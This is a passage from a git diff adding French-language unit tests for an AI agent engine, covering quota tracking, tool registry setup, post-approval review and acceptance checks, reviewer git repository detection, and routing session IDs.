TPH 3000, mensuel 10000 ; + - gemini-cli-abo : 2 appels dans l'heure (500 tokens) + 8 plus anciens + (< 30 j, 500 tokens) → TPH 1000, mensuel 5000. + """ + now = time.time() + lignes = [("gemini-free-flash", now - 3600, 100) for _ in range(12)] + lignes += [("claude-cli-abo", now - 600, 1000) for _ in range(3)] + lignes += [("claude-cli-abo", now - 7 * 86400, 1000) for _ in range(7)] + lignes += [("gemini-cli-abo", now - 300, 500) for _ in range(2)] + lignes += [("gemini-cli-abo", now - 10 * 86400, 500) for _ in range(8)] + + conn = runtime_db.get_connection() + for channel, ts, tokens in lignes: + conn.execute( + "INSERT INTO token_usage (session_id, timestamp, model, total_tokens, channel) " + "VALUES (?, ?, ?, ?, ?)", + ("session-test", ts, f"modele-{channel}", tokens, channel), + ) + conn.commit() + conn.close() + + +# ────────────────────────────────────────────────────────────────── +# Boucle périodique (horloge simulée) +# ────────────────────────────────────────────────────────────────── + +class _ArretBoucle(Exception): + """Levée par l'horloge simulée pour clore la boucle sans attendre.""" + + +class _HorlogeSimulee: + """Remplace asyncio.sleep : enregistre les durées puis stoppe la boucle.""" + + def __init__(self, arrets_apres: int = 3): + self.durees: list[float] = [] + self._restants = arrets_apres + + async def sleep(self, duree: float) -> None: + self.durees.append(duree) + self._restants -= 1 + if self._restants <= 0: + raise _ArretBoucle() + + +def _lancer_boucle(monkeypatch, intervalle, collecteur, iterations: int = 3) -> _HorlogeSimulee: + """Exécute quota_refresh_loop avec horloge simulée ; retourne l'horloge. + + L'horloge laisse passer `iterations` cycles complets (sommeil + collecte) + puis lève _ArretBoucle lors du sommeil suivant. + """ + horloge = _HorlogeSimulee(arrets_apres=iterations + 1) + monkeypatch.setattr(qc.asyncio, "sleep", horloge.sleep) + monkeypatch.setattr(qc, "refresh_all_quotas", collecteur) + with pytest.raises(_ArretBoucle): + asyncio.run(qc.quota_refresh_loop(interval_seconds=intervalle)) + return horloge + + +def test_boucle_appelle_collecteur_a_intervalle_configurable(monkeypatch): + """[#T269] La boucle dort `intervalle` s puis appelle le collecteur sans Claude.""" + appels = [] + + def _collecteur(include_claude=False, force_claude=False): + appels.append({"include_claude": include_claude, "force_claude": force_claude}) + return {"updated_keys": 1, "snapshot_rows": 2} + + horloge = _lancer_boucle(monkeypatch, intervalle=42, collecteur=_collecteur) + + assert horloge.durees == [42, 42, 42, 42] + assert len(appels) == 3 + assert all(a["include_claude"] is False for a in appels) + + +def test_boucle_intervalle_lu_depuis_env(monkeypatch): + """[#T269] Sans intervalle explicite, la boucle lit QUOTA_REFRESH_INTERVAL_SECONDS.""" + monkeypatch.setenv("QUOTA_REFRESH_INTERVAL_SECONDS", "123") + + def _collecteur(**kwargs): + return {} + + horloge = _lancer_boucle(monkeypatch, intervalle=None, collecteur=_collecteur) + assert horloge.durees == [123, 123, 123, 123] + + +def test_boucle_survit_a_exception_du_collecteur(monkeypatch, caplog): + """[#T269] Une erreur de collecte est journalisée et la boucle continue.""" + appels = [] + + def _collecteur_instable(**kwargs): + appels.append(1) + if len(appels) == 1: + raise RuntimeError("Provider injoignable (normal)") + return {"updated_keys": 0, "snapshot_rows": 0} + + caplog.set_level(logging.WARNING) + _lancer_boucle(monkeypatch, intervalle=30, collecteur=_collecteur_instable) + + assert len(appels) == 3 # l'échec n'a pas interrompu les itérations suivantes + assert any("la boucle continue" in r.getMessage() for r in caplog.records) + + +# ────────────────────────────────────────────────────────────────── +# Intervalle configurable +# ────────────────────────────────────────────────────────────────── + +def test_intervalle_env_valide(monkeypatch): + """[#T269] QUOTA_REFRESH_INTERVAL_SECONDS valide est respecté.""" + monkeypatch.setenv("QUOTA_REFRESH_INTERVAL_SECONDS", "90") + assert qc.get_quota_refresh_interval() == 90 + + +def test_intervalle_env_invalide_retombe_defaut(monkeypatch, caplog): + """[#T269] Valeur invalide → défaut, avec un warning explicite.""" + monkeypatch.setenv("QUOTA_REFRESH_INTERVAL_SECONDS", "abc") + caplog.set_level(logging.WARNING) + assert qc.get_quota_refresh_interval() == qc.QUOTA_REFRESH_INTERVAL_DEFAULT + assert any("invalide" in r.getMessage() for r in caplog.records) + + +def test_intervalle_env_bornes_min(monkeypatch): + """[#T269] Une valeur trop basse est bornée (ne jamais marteler les APIs).""" + monkeypatch.setenv("QUOTA_REFRESH_INTERVAL_SECONDS", "5") + assert qc.get_quota_refresh_interval() == qc.QUOTA_REFRESH_INTERVAL_MIN + + +# ────────────────────────────────────────────────────────────────── +# Fenêtres glissantes complètes (2a) + clés dérivées (2b) + snapshot (2c) +# ────────────────────────────────────────────────────────────────── + +def test_refresh_propage_fenetres_glissantes_completes(): + """[#T269] used_rpd, used_tph ET used_monthly non nuls et cohérents.""" + _seed_catalogue() + _injecter_token_usage() + + resultat = qc.refresh_all_quotas(include_claude=False) + + quotas = {q["api_key_id"]: q for q in models_db.get_all_quotas_realtime()} + + # (2b) les 6 clés free sont calculées : liste dérivée de api_keys (SSOT), + # GEMINI_API_KEY_6 n'est plus oubliée + for key_id in ("GEMINI_API_KEY", "GEMINI_API_KEY_6"): + ligne = quotas[key_id] + assert ligne["source"] == "calculated" + assert ligne["used_rpd"] == 12 // 6 # 12 appels flash/24h répartis sur 6 clés + + # (2a) Claude Pro : fenêtre 1 h → used_tph, fenêtre 30 j → used_monthly + claude = quotas["ANTHROPIC_API_KEY"] + assert claude["used_tph"] == 3000 + assert claude["used_monthly"] == 10000 + assert claude["limit_tph"] == 1500000 + assert claude["limit_monthly"] == 35000000 + + # (2a) la ligne Gemini agrège les TROIS fenêtres : RPD (API free, + # approximation existante) + TPH/mensuel (CLI Advanced) + gemini = quotas["GEMINI_PAYANT_API_KEY"] + assert gemini["used_rpd"] == 12 + assert gemini["used_tph"] == 1000 + assert gemini["used_monthly"] == 5000 + assert gemini["limit_tph"] == 4000000 + + # (2c) un instantané a été écrit à ce rafraîchissement + assert resultat["snapshot_rows"] >= 3 + + +def test_snapshot_ecrit_a_chaque_refresh(): + """[#T269] quota_snapshots reçoit les fenêtres calculées, pas un dict vide.""" + _seed_catalogue() + _injecter_token_usage() + + qc.refresh_all_quotas(include_claude=False) + + conn = sqlite3.connect(runtime_db.get_db_path()) + lignes = conn.execute( + "SELECT channel, metric, value FROM quota_snapshots" + ).fetchall() + conn.close() + + par_cle = {(c, m): v for c, m, v in lignes} + assert par_cle.get(("gemini_free_flash", "rpd")) == 12 + assert par_cle.get(("claude_cli", "tph")) == 3000 + assert par_cle.get(("claude_cli", "tpm")) == 10000 + assert par_cle.get(("gemini_cli", "tph")) == 1000 + assert par_cle.get(("gemini_cli", "tpm")) == 5000 + + +def test_snapshot_garantit_table_sur_base_heritee(tmp_path, monkeypatch): + """[#T269] La table quota_snapshots est créée si absente (bases héritées).""" + # Base brute sans aucune table (cas des bases héritées de session_history.db) + chemin = str(tmp_path / "moteur_runtime.db") + sqlite3.connect(chemin).close() + + monkeypatch.setattr(runtime_db, "_DB_PATH", chemin) + + from core.session_history import insert_quota_snapshot + inseres = insert_quota_snapshot({"claude_cli_tph": 42}) + + conn = sqlite3.connect(chemin) + tables = {r[0] for r in conn.execute("SELECT name FROM sqlite_master WHERE type='table'")} + ligne = conn.execute( + "SELECT channel, metric, value FROM quota_snapshots" + ).fetchone() + conn.close() + + assert "quota_snapshots" in tables + assert inseres == 1 + assert ligne == ("claude_cli", "tph", 42) diff --git a/tests/unit/test_regex_anchor_guard.py b/tests/unit/test_regex_anchor_guard.py index 7f50944..0e32ce9 100644 --- a/tests/unit/test_regex_anchor_guard.py +++ b/tests/unit/test_regex_anchor_guard.py @@ -1,4 +1,3 @@ -# -*- coding: utf-8 -*- r""" Garde-fou de convention : les regex de validation de sécurité doivent ancrer la fin de chaîne avec `\Z`, pas avec `$`. diff --git a/tests/unit/test_registry_setup.py b/tests/unit/test_registry_setup.py new file mode 100644 index 0000000..edaa728 --- /dev/null +++ b/tests/unit/test_registry_setup.py @@ -0,0 +1,57 @@ +""" +tests/unit/test_registry_setup.py — Registry d'outils factorisé (#T213). + +Les 3 sites d'assemblage (core/factory.py, services/pipeline_service.py, +core/mcp_tools/orchestrator.py) passent désormais par tools/registry_setup : +ce test verrouille la convergence (même socle partout, plus de divergence +silencieuse des sets d'outils). +""" + +from tools.registry_setup import register_base_tools, register_extended_tools +from tools.tool_registry import ToolRegistry + +BASE_TOOLS = { + "read_file", "write_file", "run_terminal_command", + "call_api", "validate_config_yaml", "run_tests", +} +GIT_TOOLS = {"git_create_checkpoint", "git_rollback_checkpoint", "git_apply_checkpoint"} + + +def test_base_tools_complets_avec_git_safety(): + registry = ToolRegistry() + register_base_tools(registry, git_safety=True) + names = set(registry._tools) + assert BASE_TOOLS <= names + assert GIT_TOOLS <= names + + +def test_git_safety_desactivable(): + registry = ToolRegistry() + register_base_tools(registry, git_safety=False) + names = set(registry._tools) + assert BASE_TOOLS <= names + assert not (GIT_TOOLS & names) + + +def test_deux_sites_produisent_le_meme_set(): + """Deux registres construits via les fonctions partagées sont identiques — + c'est exactement la garantie qui manquait aux 3 sites divergents.""" + r1, r2 = ToolRegistry(), ToolRegistry() + for r in (r1, r2): + register_base_tools(r) + register_extended_tools(r) + assert set(r1._tools) == set(r2._tools) + + +def test_les_trois_sites_importent_le_module_partage(): + """Vérifie statiquement que factory, pipeline_service et l'orchestrateur MCP + passent tous par tools.registry_setup (anti-régression de la factorisation).""" + import inspect + + import core.factory as factory + import core.mcp_tools.orchestrator as orchestrator + import services.pipeline_service as pipeline + + for module in (factory, pipeline, orchestrator): + source = inspect.getsource(module) + assert "registry_setup" in source, f"{module.__name__} ne passe plus par registry_setup" diff --git a/tests/unit/test_reprise_controles_post_dag.py b/tests/unit/test_reprise_controles_post_dag.py new file mode 100644 index 0000000..1fc53dc --- /dev/null +++ b/tests/unit/test_reprise_controles_post_dag.py @@ -0,0 +1,239 @@ +""" +tests/unit/test_reprise_controles_post_dag.py — Contrôles après reprise (#T253). + +Trou trouvé en mesurant la première chaîne complète en production (11/08, +`bg_6148ea67`) : la reprise après approbation humaine appelait `execute_dag()` +directement et **sautait donc tout ce qui suit normalement le DAG** — revue +post-DAG, contrat d'acceptation, enregistrement des skills. + +Constat qui l'a révélé : le Planner avait bien émis son contrat +(`[PLANNER] [T253] Contrat d'acceptation : 2 critère(s)`), le DAG a réussi et la +branche a fusionné… sans **aucune** ligne de revue au journal. Le contrat n'a +jamais été évalué. + +Or un plan passé par une approbation humaine est précisément celui qui mérite le +plus d'être vérifié : c'est le seul qui touche à des fichiers. +""" + +import pytest + +from core.engine import Engine +from core.state import TaskPayload + + +def _engine(monkeypatch, tasks_status, has_error): + """Engine réel dont seul le DAGRunner est simulé.""" + eng = Engine(session_id="chat_t253") + + async def _faux_execute_dag(**kwargs): + return tasks_status, has_error + + monkeypatch.setattr(eng._dag_runner, "execute_dag", _faux_execute_dag) + return eng + + +@pytest.mark.asyncio +async def test_dag_reussi_declenche_la_revue(monkeypatch): + """Après un DAG en succès, la revue post-DAG doit tourner.""" + eng = _engine(monkeypatch, {"t1": "success"}, False) + appels = [] + + monkeypatch.setattr(eng, "_is_review_enabled", lambda: True) + eng.agents["reviewer"] = object() # présence suffisante pour ce chemin + + async def _revue(initial_objective, on_event=None): + appels.append(initial_objective) + return True + + monkeypatch.setattr(eng._review_loop, "run_review", _revue) + monkeypatch.setattr(eng, "_record_skills_from_dag", lambda *a, **k: None) + + tasks_status, has_error = await eng.executer_dag_et_controles( + [TaskPayload(task_objective="t")], "objectif d'origine", 10_000, + ) + + assert appels == ["objectif d'origine"], "la revue doit recevoir l'objectif d'origine" + assert has_error is False + assert tasks_status == {"t1": "success"} + + +@pytest.mark.asyncio +async def test_revue_qui_refuse_marque_l_erreur(monkeypatch): + eng = _engine(monkeypatch, {"t1": "success"}, False) + monkeypatch.setattr(eng, "_is_review_enabled", lambda: True) + eng.agents["reviewer"] = object() + + async def _revue_refus(initial_objective, on_event=None): + return False + + monkeypatch.setattr(eng._review_loop, "run_review", _revue_refus) + + _tasks_status, has_error = await eng.executer_dag_et_controles( + [TaskPayload(task_objective="t")], "obj", 10_000, + ) + assert has_error is True + + +@pytest.mark.asyncio +async def test_dag_en_erreur_evalue_le_contrat_seul(monkeypatch): + """ + DAG en échec : la revue LLM est sautée, mais le contrat DOIT être évalué. + + C'est le seul mécanisme capable de prouver que l'objectif est atteint malgré + l'échec d'une branche (#T253). + """ + eng = _engine(monkeypatch, {"t1": "error"}, True) + appels = [] + + async def _contrat(on_event=None): + appels.append("contrat") + return True + + monkeypatch.setattr(eng._review_loop, "contrat_seul", _contrat) + monkeypatch.setattr(eng, "_record_skills_from_dag", lambda *a, **k: None) + + tasks_status, has_error = await eng.executer_dag_et_controles( + [TaskPayload(task_objective="t")], "obj", 10_000, + ) + + assert appels == ["contrat"] + # Contrat satisfait : la session redevient un succès et les statuts sont + # absous, sinon `_finalize_git` annulerait un travail pourtant prouvé. + assert has_error is False + assert tasks_status == {"t1": "success"} + + +@pytest.mark.asyncio +async def test_contrat_non_satisfait_laisse_l_erreur(monkeypatch): + eng = _engine(monkeypatch, {"t1": "error"}, True) + + async def _contrat_refus(on_event=None): + return False + + monkeypatch.setattr(eng._review_loop, "contrat_seul", _contrat_refus) + + tasks_status, has_error = await eng.executer_dag_et_controles( + [TaskPayload(task_objective="t")], "obj", 10_000, + ) + assert has_error is True + assert tasks_status == {"t1": "error"} + + +@pytest.mark.asyncio +async def test_la_reprise_passe_bien_par_les_controles(monkeypatch, tmp_path): + """ + Le test qui prouve la tâche : la REPRISE appelle les contrôles, pas seulement + `execute_dag`. + + Avant, `services/approval_resume_service` appelait `execute_dag()` en direct — + un plan approuvé par un humain fusionnait sans qu'aucun de ses critères + d'acceptation ne soit évalué. + """ + from core import hitl_store, runtime_db + + ancien = runtime_db.get_db_path() + runtime_db.override_db_path(str(tmp_path / "runtime.db")) + runtime_db.get_connection().close() + try: + hitl_store.enregistrer_demande( + request_id="r_ctrl", session_id="s_ctrl", + dag_tasks=[{"task_objective": "écrire un fichier", "task_id": "t1"}], + objective="objectif approuvé", description="", + ) + hitl_store.marquer_decision("r_ctrl", approuve=True) + + appels = [] + + class _FauxEngine: + on_event = None + + async def executer_dag_et_controles(self, **kwargs): + appels.append(kwargs["objectif"]) + return {"t1": "success"}, False + + def _finalize_git(self, *a, **k): + pass + + class _FauxBridge: + async def start(self, *a, **k): + pass + + async def stop(self): + pass + + import services.approval_resume_service as service + + monkeypatch.setattr( + "services.pipeline_service.monter_moteur", + lambda *a, **k: (_FauxEngine(), object(), _FauxBridge(), object()), + ) + + resultat = await service.reprendre_apres_approbation("r_ctrl") + + assert appels == ["objectif approuvé"], "la reprise doit passer par les contrôles post-DAG" + assert resultat["status"] == "completed" + assert hitl_store.lire_demande("r_ctrl")["status"] == hitl_store.STATUT_REPRIS + finally: + runtime_db.override_db_path(ancien) + + +@pytest.mark.asyncio +async def test_la_reprise_restaure_le_contrat(monkeypatch, tmp_path): + """ + [#T253] Le contrat d'acceptation doit être retrouvable par la revue. + + `ReviewLoop._criteres_du_plan()` le cherche dans `engine.state.history` — or + la reprise monte un moteur NEUF, dont l'historique est vide. Sans + restauration, le contrat meurt avec la session suspendue : mesuré en prod le + 11/08, un plan approuvé avec 2 critères en a vu 0 évalué. + """ + from core import hitl_store, runtime_db + from core.acceptance_contract import CLE_CONTRAT + from core.state import GlobalState + + ancien = runtime_db.get_db_path() + runtime_db.override_db_path(str(tmp_path / "runtime.db")) + runtime_db.get_connection().close() + try: + hitl_store.enregistrer_demande( + request_id="r_restaure", session_id="s_restaure", + dag_tasks=[{"task_objective": "écrire", "task_id": "t1"}], + objective="objectif", description="", + criteres=["le fichier doit exister", "il doit contenir OK"], + ) + hitl_store.marquer_decision("r_restaure", approuve=True) + + class _FauxEngine: + on_event = None + + def __init__(self): + self.state = GlobalState(session_id="s_restaure") + + async def executer_dag_et_controles(self, **kwargs): + return {"t1": "success"}, False + + def _finalize_git(self, *a, **k): + pass + + class _FauxBridge: + async def start(self, *a, **k): + pass + + async def stop(self): + pass + + faux = _FauxEngine() + monkeypatch.setattr( + "services.pipeline_service.monter_moteur", + lambda *a, **k: (faux, object(), _FauxBridge(), object()), + ) + + import services.approval_resume_service as service + await service.reprendre_apres_approbation("r_restaure") + + criteres_vus = [ + (u.metadata or {}).get(CLE_CONTRAT) for u in faux.state.history + ] + assert ["le fichier doit exister", "il doit contenir OK"] in criteres_vus + finally: + runtime_db.override_db_path(ancien) diff --git a/tests/unit/test_reviewer_detection_depots.py b/tests/unit/test_reviewer_detection_depots.py new file mode 100644 index 0000000..c8e875f --- /dev/null +++ b/tests/unit/test_reviewer_detection_depots.py @@ -0,0 +1,135 @@ +""" +tests/unit/test_reviewer_detection_depots.py — Détection des dépôts (#T276). + +Chaîne mesurée en production le 11/08, de la cause à l'effet : + +1. Le Deck porte trois dossiers `_pre_codedeploy_*` (sauvegardes prises avant + déploiement) à côté du vrai dépôt `moteur_agents`. +2. Le Reviewer les ramassait comme des espaces de travail, constatait qu'ils + n'étaient pas informatifs (aucun remote, commit unique) et levait + `GitDetectionError` — pour TOUS les dépôts, y compris le vrai. +3. Donc « auto-approbation à 10/10 bloquée, analyse forcée via LLM » à chaque + revue : un appel LLM payé systématiquement. +4. Et sur une tâche qui ne modifie aucun code, le LLM n'avait rien à relire : + verdict `critical`, score 0.0/10, « L'agent exécuteur n'a fourni aucun code + […] à relire ». +5. La tâche de vérification échouait, et `_finalize_git` annulait un travail + pourtant réussi (`Rollback effectué`). + +La règle rétablie : un dépôt non informatif est IGNORÉ, pas condamnant. On ne +refuse de conclure que s'il ne reste aucun dépôt exploitable — ce qui préserve +l'intention de #T209. +""" + +import subprocess + +import pytest + +from agents.reviewer import GitDetectionError, ReviewerAgent + + +def _depot(chemin, avec_remote: bool, fichier: str = "module.py", contenu: str = "x = 1\n"): + """Crée un dépôt Git local. `avec_remote` le rend « informatif ».""" + chemin.mkdir(parents=True, exist_ok=True) + def run(*args): + return subprocess.run(args, cwd=str(chemin), capture_output=True, check=False) + + run("git", "init", "-q") + run("git", "config", "user.email", "test@local") + run("git", "config", "user.name", "Test") + (chemin / fichier).write_text(contenu, encoding="utf-8") + run("git", "add", ".") + run("git", "commit", "-q", "-m", "commit initial") + if avec_remote: + # Aucun accès réseau : `git remote add` est purement local. + run("git", "remote", "add", "origin", "https://example.invalid/depot.git") + return chemin + + +@pytest.fixture +def reviewer(): + from core.llm_gateway import LLMGateway + return ReviewerAgent(llm_gateway=LLMGateway(), provider_name="moyen") + + +# ── Reconnaissance des dossiers d'archive ──────────────────────────────────── + +@pytest.mark.parametrize("nom", [ + "_pre_codedeploy_1783842691", # les trois vus sur le Deck + "_pre_codedeploy_20260722_185833", + "backups_prod", + "moteur_agents_old", +]) +def test_dossiers_d_archive_ecartes(nom): + assert ReviewerAgent._est_dossier_workspace(nom) is False + + +@pytest.mark.parametrize("nom", ["moteur_agents", "00ProjetTab", "ServeurHA", "contexte_ia"]) +def test_vrais_workspaces_conserves(nom): + assert ReviewerAgent._est_dossier_workspace(nom) is True + + +# ── Détection des modifications ────────────────────────────────────────────── + +def test_depot_parasite_ne_condamne_plus_le_vrai_depot(reviewer, tmp_path): + """ + Le cas de production : un dépôt sain, une sauvegarde figée à côté. + + Avant #T276, la sauvegarde faisait lever GitDetectionError et bloquait + l'auto-approbation. Désormais elle est ignorée. + """ + _depot(tmp_path / "moteur_agents", avec_remote=True) + _depot(tmp_path / "sauvegarde_figee", avec_remote=False) + + # Ne lève pas, et ne trouve aucune modification (les deux dépôts sont propres). + assert reviewer._has_modified_files(racine=str(tmp_path)) is False + + +def test_modification_reelle_toujours_detectee(reviewer, tmp_path): + """Contre-épreuve : le correctif n'aveugle pas la détection.""" + depot = _depot(tmp_path / "moteur_agents", avec_remote=True) + (depot / "module.py").write_text("x = 2 # modifié\n", encoding="utf-8") + + assert reviewer._has_modified_files(racine=str(tmp_path)) is True + + +def test_uniquement_des_depots_parasites_refuse_de_conclure(reviewer, tmp_path): + """ + Intention de #T209 préservée : sans dépôt fiable, on ne conclut pas. + + Le nom ne ressemble pas à une archive, donc le dossier est bien exploré — + c'est son absence de remote et son commit unique qui le disqualifient. + """ + _depot(tmp_path / "copie_deployee", avec_remote=False) + + with pytest.raises(GitDetectionError, match="Aucun dépôt Git informatif"): + reviewer._has_modified_files(racine=str(tmp_path)) + + +def test_aucun_depot_du_tout(reviewer, tmp_path): + (tmp_path / "un_dossier_ordinaire").mkdir() + + with pytest.raises(GitDetectionError, match="Aucun dépôt Git détecté"): + reviewer._has_modified_files(racine=str(tmp_path)) + + +def test_dossier_archive_meme_avec_git_est_ignore(reviewer, tmp_path): + """Une sauvegarde nommée `_pre_codedeploy_*` n'est même pas explorée.""" + _depot(tmp_path / "_pre_codedeploy_1783842691", avec_remote=True, contenu="y = 9\n") + + # Seule archive présente → aucun workspace retenu. + with pytest.raises(GitDetectionError, match="Aucun dépôt Git détecté"): + reviewer._has_modified_files(racine=str(tmp_path)) + + +def test_fichier_non_code_ne_declenche_pas_de_revue(reviewer, tmp_path): + """ + Le scénario exact de la vérification : un `.txt` écrit, rien à relire. + + C'est le cas qui doit rendre `False` pour que le court-circuit + d'auto-approbation s'applique et qu'aucun LLM ne soit appelé. + """ + depot = _depot(tmp_path / "moteur_agents", avec_remote=True) + (depot / "preuve.txt").write_text("OK-T274\n", encoding="utf-8") + + assert reviewer._has_modified_files(racine=str(tmp_path)) is False diff --git a/tests/unit/test_routage_session_id.py b/tests/unit/test_routage_session_id.py new file mode 100644 index 0000000..8da17e3 --- /dev/null +++ b/tests/unit/test_routage_session_id.py @@ -0,0 +1,97 @@ +""" +tests/unit/test_routage_session_id.py — Une décision de routage est rattachable +à une session, donc à une consommation réelle (#T296, volet B). + +`routing_decisions.session_id` était vide sur 68/68 lignes : le Router ne +recevait tout simplement pas la session (aucune occurrence de `session_id` dans +`core/router.py`). Une décision de routage ne pouvait donc être rapprochée +d'aucun coût, d'aucun modèle, d'aucun agent. + +Ces tests écrivent dans une base créée par le VRAI schéma (`runtime_db._init_schema` +via `override_db_path`), et n'appellent aucun LLM : le Router est instancié sans +gateway, donc le slow-path de classification sémantique est structurellement +hors d'atteinte. +""" +import sqlite3 + +import pytest + + +@pytest.fixture +def base_temporaire(tmp_path, monkeypatch): + """Base neuve au schéma canonique, isolée de la base de développement.""" + from core import runtime_db + + db = tmp_path / "routage.db" + runtime_db.override_db_path(str(db)) + runtime_db.get_connection().close() # déclenche _init_schema + return str(db) + + +def _lignes(db: str, requete: str) -> list: + conn = sqlite3.connect(db) + lignes = conn.execute(requete).fetchall() + conn.close() + return lignes + + +class TestSessionIdEcrite: + """Le maillon manquant : la clé de rattachement.""" + + @pytest.mark.asyncio + async def test_analyze_request_ecrit_la_session_dans_la_decision(self, base_temporaire): + from core.router import Router + + routeur = Router() # sans gateway : aucun appel LLM possible + await routeur.analyze_request("bonjour", session_id="s_t296b") + + lignes = _lignes( + base_temporaire, "SELECT session_id FROM routing_decisions" + ) + assert lignes, "aucune décision de routage enregistrée" + assert all(ligne[0] == "s_t296b" for ligne in lignes), lignes + + @pytest.mark.asyncio + async def test_sans_session_la_colonne_reste_vide_et_ne_ment_pas(self, base_temporaire): + """Les outils MCP (recommandation, délégation) n'ont pas de session d'exécution. + + Ils ne doivent pas en inventer une : une session fictive polluerait toute + jointure ultérieure avec des rattachements faux. + """ + from core.router import Router + + await Router().analyze_request("bonjour") + + lignes = _lignes(base_temporaire, "SELECT session_id FROM routing_decisions") + assert lignes, "aucune décision de routage enregistrée" + assert all(ligne[0] in ("", None) for ligne in lignes), lignes + + +class TestJointureRoutageConsommation: + """Ce que la clé permet : relier une décision à son coût réel.""" + + @pytest.mark.asyncio + async def test_jointure_routage_token_usage(self, base_temporaire): + """Le lien routage → modèle réellement appelé, sans dupliquer la colonne. + + C'est la raison pour laquelle `resolved_model` reste volontairement vide : + le routage résout un tier, pas un modèle (#T288). La vérité vient de + `token_usage`, rattaché par la session. + """ + from core.router import Router + from core.token_tracker import record_usage + + await Router().analyze_request("bonjour", session_id="s_jointure") + record_usage("gemma-4-31b", 100, 50, session_id="s_jointure") + + lignes = _lignes( + base_temporaire, + "SELECT r.routing_type, t.model, t.total_tokens " + "FROM routing_decisions r " + "JOIN token_usage t ON t.session_id = r.session_id " + "WHERE r.session_id = 's_jointure'", + ) + + assert lignes, "la jointure ne rend rien : le rattachement est cassé" + assert lignes[0][1] == "gemma-4-31b", lignes + assert lignes[0][2] == 150, lignes diff --git a/tests/unit/test_router.py b/tests/unit/test_router.py index 58ef751..d8db67b 100644 --- a/tests/unit/test_router.py +++ b/tests/unit/test_router.py @@ -9,8 +9,8 @@ - La détection de la routine FIN DE SESSION """ -import sys import os +import sys sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) @@ -27,14 +27,14 @@ def setup_method(self): self.router.rag_engine = None self.router.llm_gateway = None self.router.config = {} - + # Mock du ContextLoader pour éviter de charger les fichiers réels from unittest.mock import MagicMock self.router.context_loader = MagicMock() self.router.context_loader.load_all.return_value = None self.router.context_loader.reload_if_stale.return_value = None self.router.context_loader.get_context_for_categories.return_value = "" - + # Mock des mémoires épisodique et sémantique self.router.episode_store = MagicMock() del self.router.episode_store.query_relevant_episodes_async @@ -42,7 +42,7 @@ def setup_method(self): self.router.fact_store = MagicMock() del self.router.fact_store.get_facts_for_context_async self.router.fact_store.get_facts_for_context.return_value = "" - + # Initialiser les catégories (copie de router.py) self.router.categories = { "casual_chat": { @@ -114,7 +114,7 @@ def setup_method(self): self.router.rag_engine = None self.router.llm_gateway = None self.router.config = {} - + from unittest.mock import MagicMock self.router.context_loader = MagicMock() self.router.context_loader.load_all.return_value = None @@ -177,7 +177,7 @@ def setup_method(self): self.router.rag_engine = None self.router.llm_gateway = None self.router.config = {} - + from unittest.mock import MagicMock self.router.context_loader = MagicMock() self.router.context_loader.load_all.return_value = None @@ -224,7 +224,7 @@ def setup_method(self): self.router.rag_engine = None self.router.llm_gateway = None self.router.config = {} - + from unittest.mock import MagicMock self.router.context_loader = MagicMock() self.router.context_loader.load_all.return_value = None diff --git a/tests/unit/test_router_compressor.py b/tests/unit/test_router_compressor.py index 8fec9ad..6026485 100644 --- a/tests/unit/test_router_compressor.py +++ b/tests/unit/test_router_compressor.py @@ -63,7 +63,7 @@ def test_compressor_empty_inputs(): assert compressor.compress({}) == "" assert compressor.compress({"facts": "", "rag": " "}) == "" - + result = compressor.compress({"rag": "Contexte rag"}) assert "RAG TECHNIQUE" in result assert "Contexte rag" in result diff --git a/tests/unit/test_router_contexte_chat.py b/tests/unit/test_router_contexte_chat.py new file mode 100644 index 0000000..e4cc54c --- /dev/null +++ b/tests/unit/test_router_contexte_chat.py @@ -0,0 +1,194 @@ +""" +tests/unit/test_router_contexte_chat.py — Contexte projet léger sur le chat rapide (#T173). + +Le problème que ces tests verrouillent, vérifié le 11/08 : le chat rapide +(casual_chat, chemin le plus utilisé — 865 échanges vocaux sur vocal_audit_log) +partait SANS aucun contexte projet, là où les autres catégories en reçoivent. + +Règle posée : casual_chat reçoit un contexte LÉGER (profil utilisateur d'Axel, +catégorie "core" du ContextLoader) plafonné explicitement — la latence est LE +critère de ce chemin (p50 1,6 s / p90 3,6 s) — et désactivable par le +kill-switch MOTEUR_CHAT_CONTEXTE_PROJET=0 (comportement d'avant, identique). +""" + +import os +import sys +from unittest.mock import MagicMock + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.router import ( + CASUAL_CHAT_CONTEXT_CATEGORIES, + CASUAL_CHAT_MAX_CONTEXT_CHARS, + CATEGORY_TO_CONTEXT, + Router, + contexte_projet_chat_rapide_active, +) +from memory.context_loader import ContextLoader + + +def _routeur_mocke() -> Router: + """Router nu : ContextLoader et compresseur mockés, mémoires vides.""" + routeur = Router.__new__(Router) + routeur.default_agent = "planner" + routeur.rag_engine = None + routeur.llm_gateway = None + routeur.config = {} + + routeur.context_loader = MagicMock() + routeur.context_loader.load_all.return_value = None + routeur.context_loader.reload_if_stale.return_value = None + routeur.context_loader.get_context_for_categories.return_value = "" + + routeur.episode_store = MagicMock() + del routeur.episode_store.query_relevant_episodes_async + routeur.episode_store.query_relevant_episodes.return_value = "" + routeur.fact_store = MagicMock() + del routeur.fact_store.get_facts_for_context_async + routeur.fact_store.get_facts_for_context.return_value = "" + + # Compresseur laissant passer le contexte structuré tel quel, pour mesurer la borne + routeur.context_compressor = MagicMock() + routeur.context_compressor.compress = MagicMock( + side_effect=lambda contextes: contextes.get("context_loader", "") + ) + del routeur.context_compressor.compress_async + + routeur.categories = { + "casual_chat": {"keywords": ["bonjour", "salut", "hello"], "weight": 1.0}, + "home_assistant": {"keywords": ["lumiere", "clim"], "weight": 1.5}, + "code_generation": {"keywords": ["code", "python"], "weight": 1.2}, + "database": {"keywords": ["sqlite", "sql"], "weight": 1.4}, + "files": {"keywords": ["fichier"], "weight": 1.0}, + "analysis": {"keywords": ["analyse", "audit"], "weight": 1.2}, + "sysadmin": {"keywords": ["ssh", "deck"], "weight": 1.5}, + "deck_edge": {"keywords": ["deck_ollama"], "weight": 1.0}, + } + routeur._ha_commands = [] + return routeur + + +def _contexte_injecte(routeur: Router) -> str: + """Le contexte 3-Layers réellement transmis au compresseur (donc injecté au prompt).""" + return routeur.context_compressor.compress.call_args.args[0]["context_loader"] + + +class TestContexteProjetChatRapide: + """Le chat rapide reçoit désormais un contexte projet léger et borné.""" + + async def test_casual_chat_recoit_contexte_borne(self): + """Contexte non vide, borné par le plafond déclaré.""" + routeur = _routeur_mocke() + # Source volontairement plus longue que le plafond : le router doit la borner + 